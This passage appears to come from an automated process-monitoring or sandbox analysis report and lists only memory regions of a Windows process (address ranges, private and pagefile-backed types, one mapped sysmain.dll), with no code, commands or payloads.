0x1ba50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba20000" filename = "" Region: id = 8062 start_va = 0x1ba20000 end_va = 0x1ba50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba20000" filename = "" Region: id = 8063 start_va = 0x1ba20000 end_va = 0x1ba50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba20000" filename = "" Region: id = 8064 start_va = 0x1ba20000 end_va = 0x1ba50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba20000" filename = "" Region: id = 8065 start_va = 0x1ba20000 end_va = 0x1ba50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba20000" filename = "" Region: id = 8066 start_va = 0x1ba20000 end_va = 0x1ba50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba20000" filename = "" Region: id = 8067 start_va = 0x1ba20000 end_va = 0x1ba50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba20000" filename = "" Region: id = 8068 start_va = 0x1ba20000 end_va = 0x1ba50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba20000" filename = "" Region: id = 8069 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 8070 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 8071 start_va = 0x1ba40000 end_va = 0x1ba4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba40000" filename = "" Region: id = 8072 start_va = 0x1ba50000 end_va = 0x1ba5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba50000" filename = "" Region: id = 8073 start_va = 0x1ba60000 end_va = 0x1ba6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba60000" filename = "" Region: id = 8074 start_va = 0x1ba70000 end_va = 0x1ba7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba70000" filename = "" Region: id = 8075 start_va = 0x1ba80000 end_va = 0x1ba8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba80000" filename = "" Region: id = 8076 start_va = 0x1ba90000 end_va = 0x1ba9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba90000" filename = "" Region: id = 8078 start_va = 0x1bb10000 end_va = 0x1bb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb10000" filename = "" Region: id = 8079 start_va = 0x1bb10000 end_va = 0x1bb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb10000" filename = "" Region: id = 8080 start_va = 0x1bb10000 end_va = 0x1bb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb10000" filename = "" Region: id = 8081 start_va = 0x1bb10000 end_va = 0x1bb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb10000" filename = "" Region: id = 8082 start_va = 0x1bb10000 end_va = 0x1bb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb10000" filename = "" Region: id = 8083 start_va = 0x1bb10000 end_va = 0x1bb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb10000" filename = "" Region: id = 8084 start_va = 0x1bb10000 end_va = 0x1bb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb10000" filename = "" Region: id = 8085 start_va = 0x1bb10000 end_va = 0x1bb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb10000" filename = "" Region: id = 8086 start_va = 0x1bb10000 end_va = 0x1bb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb10000" filename = "" Region: id = 8087 start_va = 0x1bb10000 end_va = 0x1bb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb10000" filename = "" Region: id = 8088 start_va = 0x1bb10000 end_va = 0x1bb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb10000" filename = "" Region: id = 8089 start_va = 0x1bb10000 end_va = 0x1bb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb10000" filename = "" Region: id = 8090 start_va = 0x1bb10000 end_va = 0x1bb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb10000" filename = "" Region: id = 8091 start_va = 0x1baa0000 end_va = 0x1baaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001baa0000" filename = "" Region: id = 8092 start_va = 0x1baf0000 end_va = 0x1bafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001baf0000" filename = "" Region: id = 8093 start_va = 0x1bb10000 end_va = 0x1bb1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb10000" filename = "" Region: id = 8095 start_va = 0x1bb20000 end_va = 0x1bb50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb20000" filename = "" Region: id = 8096 start_va = 0x1bb20000 end_va = 0x1bb50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb20000" filename = "" Region: id = 8097 start_va = 0x1bb20000 end_va = 0x1bb50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb20000" filename = "" Region: id = 8098 start_va = 0x1bb20000 end_va = 0x1bb50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb20000" filename = "" Region: id = 8099 start_va = 0x1bb20000 end_va = 0x1bb50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb20000" filename = "" Region: id = 8100 start_va = 0x1bb20000 end_va = 0x1bb50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb20000" filename = "" Region: id = 8101 start_va = 0x1bb20000 end_va = 0x1bb50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb20000" filename = "" Region: id = 8102 start_va = 0x1bb20000 end_va = 0x1bb50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb20000" filename = "" Region: id = 8103 start_va = 0x1bb20000 end_va = 0x1bb50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb20000" filename = "" Region: id = 8104 start_va = 0x1bb20000 end_va = 0x1bb50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb20000" filename = "" Region: id = 8105 start_va = 0x1bb20000 end_va = 0x1bb50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb20000" filename = "" Region: id = 8106 start_va = 0x1bb20000 end_va = 0x1bb50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb20000" filename = "" Region: id = 8107 start_va = 0x1bb20000 end_va = 0x1bb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb20000" filename = "" Region: id = 8108 start_va = 0x1bb30000 end_va = 0x1bb3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb30000" filename = "" Region: id = 8109 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 8110 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 8111 start_va = 0x1e1b0000 end_va = 0x1e1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e1b0000" filename = "" Region: id = 8112 start_va = 0x1e300000 end_va = 0x1e32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e300000" filename = "" Region: id = 8113 start_va = 0x1e1d0000 end_va = 0x1e1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e1d0000" filename = "" Region: id = 8114 start_va = 0x1e1e0000 end_va = 0x1e1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e1e0000" filename = "" Region: id = 8115 start_va = 0x1e330000 end_va = 0x1e33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e330000" filename = "" Region: id = 8117 start_va = 0x1e330000 end_va = 0x1e360fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001e330000" filename = "" Region: id = 8118 start_va = 0x1e330000 end_va = 0x1e360fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001e330000" filename = "" Region: id = 8119 start_va = 0x1e330000 end_va = 0x1e360fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001e330000" filename = "" Region: id = 8120 start_va = 0x1e330000 end_va = 0x1e360fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001e330000" filename = "" Region: id = 8121 start_va = 0x1e330000 end_va = 0x1e360fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001e330000" filename = "" Region: id = 8122 start_va = 0x1e330000 end_va = 0x1e360fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001e330000" filename = "" Region: id = 8123 start_va = 0x1e330000 end_va = 0x1e360fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001e330000" filename = "" Region: id = 8124 start_va = 0x1e330000 end_va = 0x1e360fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001e330000" filename = "" Region: id = 8125 start_va = 0x1e330000 end_va = 0x1e360fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001e330000" filename = "" Region: id = 8126 start_va = 0x1e330000 end_va = 0x1e360fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001e330000" filename = "" Region: id = 8127 start_va = 0x1e330000 end_va = 0x1e360fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001e330000" filename = "" Region: id = 8128 start_va = 0x1e330000 end_va = 0x1e360fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001e330000" filename = "" Region: id = 8129 start_va = 0x1e330000 end_va = 0x1e360fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001e330000" filename = "" Region: id = 8130 start_va = 0x1e330000 end_va = 0x1e360fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001e330000" filename = "" Region: id = 8131 start_va = 0x1e330000 end_va = 0x1e360fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001e330000" filename = "" Region: id = 8132 start_va = 0x1e330000 end_va = 0x1e360fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001e330000" filename = "" Region: id = 8133 start_va = 0x1e330000 end_va = 0x1e360fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001e330000" filename = "" Region: id = 8134 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8136 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8137 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8138 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8139 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8140 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8141 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8142 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8143 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8144 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8145 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8146 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8147 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8148 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8149 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8150 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8151 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8152 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8153 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 8154 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 8155 start_va = 0x1ba40000 end_va = 0x1ba4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba40000" filename = "" Region: id = 8156 start_va = 0x1ba50000 end_va = 0x1ba5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba50000" filename = "" Region: id = 8157 start_va = 0x1ba60000 end_va = 0x1ba6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba60000" filename = "" Region: id = 8158 start_va = 0x1ba70000 end_va = 0x1ba7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba70000" filename = "" Region: id = 8159 start_va = 0x1ba80000 end_va = 0x1ba8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba80000" filename = "" Region: id = 8160 start_va = 0x1ba90000 end_va = 0x1ba9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba90000" filename = "" Region: id = 8161 start_va = 0x1baa0000 end_va = 0x1baaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001baa0000" filename = "" Region: id = 8162 start_va = 0x1baf0000 end_va = 0x1bafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001baf0000" filename = "" Region: id = 8163 start_va = 0x1bb10000 end_va = 0x1bb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb10000" filename = "" Region: id = 8164 start_va = 0x1bb10000 end_va = 0x1bb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb10000" filename = "" Region: id = 8165 start_va = 0x1bb10000 end_va = 0x1bb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb10000" filename = "" Region: id = 8166 start_va = 0x1bb10000 end_va = 0x1bb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb10000" filename = "" Region: id = 8167 start_va = 0x1bb10000 end_va = 0x1bb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb10000" filename = "" Region: id = 8168 start_va = 0x1bb10000 end_va = 0x1bb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb10000" filename = "" Region: id = 8169 start_va = 0x1bb10000 end_va = 0x1bb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb10000" filename = "" Region: id = 8170 start_va = 0x1bb10000 end_va = 0x1bb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb10000" filename = "" Region: id = 8171 start_va = 0x1bb10000 end_va = 0x1bb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb10000" filename = "" Region: id = 8172 start_va = 0x1bb10000 end_va = 0x1bb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb10000" filename = "" Region: id = 8173 start_va = 0x1bb10000 end_va = 0x1bb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb10000" filename = "" Region: id = 8174 start_va = 0x1bb10000 end_va = 0x1bb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb10000" filename = "" Region: id = 8175 start_va = 0x1bb10000 end_va = 0x1bb1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb10000" filename = "" Region: id = 8176 start_va = 0x1bb20000 end_va = 0x1bb50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb20000" filename = "" Region: id = 8177 start_va = 0x1bb20000 end_va = 0x1bb2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb20000" filename = "" Region: id = 8178 start_va = 0x1e1b0000 end_va = 0x1e1e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001e1b0000" filename = "" Region: id = 8179 start_va = 0x1bb30000 end_va = 0x1bb3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb30000" filename = "" Region: id = 8180 start_va = 0x1e1b0000 end_va = 0x1e1e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001e1b0000" filename = "" Region: id = 8181 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8183 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8184 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8185 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8186 start_va = 0x1ba10000 end_va = 0x1ba13fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8187 start_va = 0x1e6f0000 end_va = 0x1eaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e6f0000" filename = "" Region: id = 8188 start_va = 0x7ffb13530000 end_va = 0x7ffb1363dfff monitored = 0 entry_point = 0x7ffb13597960 region_type = mapped_file name = "sysmain.dll" filename = "\\Windows\\System32\\sysmain.dll" (normalized: "c:\\windows\\system32\\sysmain.dll") Region: id = 8189 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8190 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8191 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8193 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 8194 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 8195 start_va = 0x1ba40000 end_va = 0x1ba4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba40000" filename = "" Region: id = 8196 start_va = 0x1ba50000 end_va = 0x1ba5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba50000" filename = "" Region: id = 8197 start_va = 0x1ba60000 end_va = 0x1ba6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba60000" filename = "" Region: id = 8198 start_va = 0x1ba70000 end_va = 0x1ba7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba70000" filename = "" Region: id = 8199 start_va = 0x1ba80000 end_va = 0x1ba8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba80000" filename = "" Region: id = 8200 start_va = 0x1ba90000 end_va = 0x1ba9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba90000" filename = "" Region: id = 8201 start_va = 0x1baa0000 end_va = 0x1baaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001baa0000" filename = "" Region: id = 8202 start_va = 0x1baf0000 end_va = 0x1bafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001baf0000" filename = "" Region: id = 8203 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8204 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8205 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8206 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 8207 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 8208 start_va = 0x1ba40000 end_va = 0x1ba4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba40000" filename = "" Region: id = 8209 start_va = 0x1ba50000 end_va = 0x1ba5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba50000" filename = "" Region: id = 8210 start_va = 0x1ba60000 end_va = 0x1ba6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba60000" filename = "" Region: id = 8212 start_va = 0x1ba70000 end_va = 0x1ba7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba70000" filename = "" Region: id = 8213 start_va = 0x1ba80000 end_va = 0x1ba8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba80000" filename = "" Region: id = 8214 start_va = 0x1ba90000 end_va = 0x1ba9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba90000" filename = "" Region: id = 8215 start_va = 0x1baa0000 end_va = 0x1baaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001baa0000" filename = "" Region: id = 8217 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8218 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8220 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8221 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8222 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 8223 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8224 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8226 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8227 start_va = 0x1ba10000 end_va = 0x1ba4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8228 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8230 start_va = 0x1ba50000 end_va = 0x1ba5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba50000" filename = "" Region: id = 8231 start_va = 0x1ba60000 end_va = 0x1ba6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba60000" filename = "" Region: id = 8232 start_va = 0x1ba70000 end_va = 0x1ba7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba70000" filename = "" Region: id = 8234 start_va = 0x1ba80000 end_va = 0x1ba8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba80000" filename = "" Region: id = 8235 start_va = 0x1ba90000 end_va = 0x1ba9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba90000" filename = "" Region: id = 8236 start_va = 0x1baa0000 end_va = 0x1baaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001baa0000" filename = "" Region: id = 8237 start_va = 0x1baf0000 end_va = 0x1bafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001baf0000" filename = "" Region: id = 8238 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 8239 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 8240 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8241 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8243 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8244 start_va = 0x1ba50000 end_va = 0x1ba5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba50000" filename = "" Region: id = 8245 start_va = 0x1ba60000 end_va = 0x1ba6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba60000" filename = "" Region: id = 8247 start_va = 0x1ba70000 end_va = 0x1ba7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba70000" filename = "" Region: id = 8250 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8251 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8252 start_va = 0x1ba50000 end_va = 0x1ba5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba50000" filename = "" Region: id = 8253 start_va = 0x1ba60000 end_va = 0x1ba6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba60000" filename = "" Region: id = 8254 start_va = 0x1ba70000 end_va = 0x1ba7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba70000" filename = "" Region: id = 8255 start_va = 0x1ba80000 end_va = 0x1ba8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba80000" filename = "" Region: id = 8257 start_va = 0x1ba90000 end_va = 0x1ba9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba90000" filename = "" Region: id = 8258 start_va = 0x1baa0000 end_va = 0x1baaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001baa0000" filename = "" Region: id = 8259 start_va = 0x1baf0000 end_va = 0x1bafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001baf0000" filename = "" Region: id = 8260 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 8261 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 8263 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 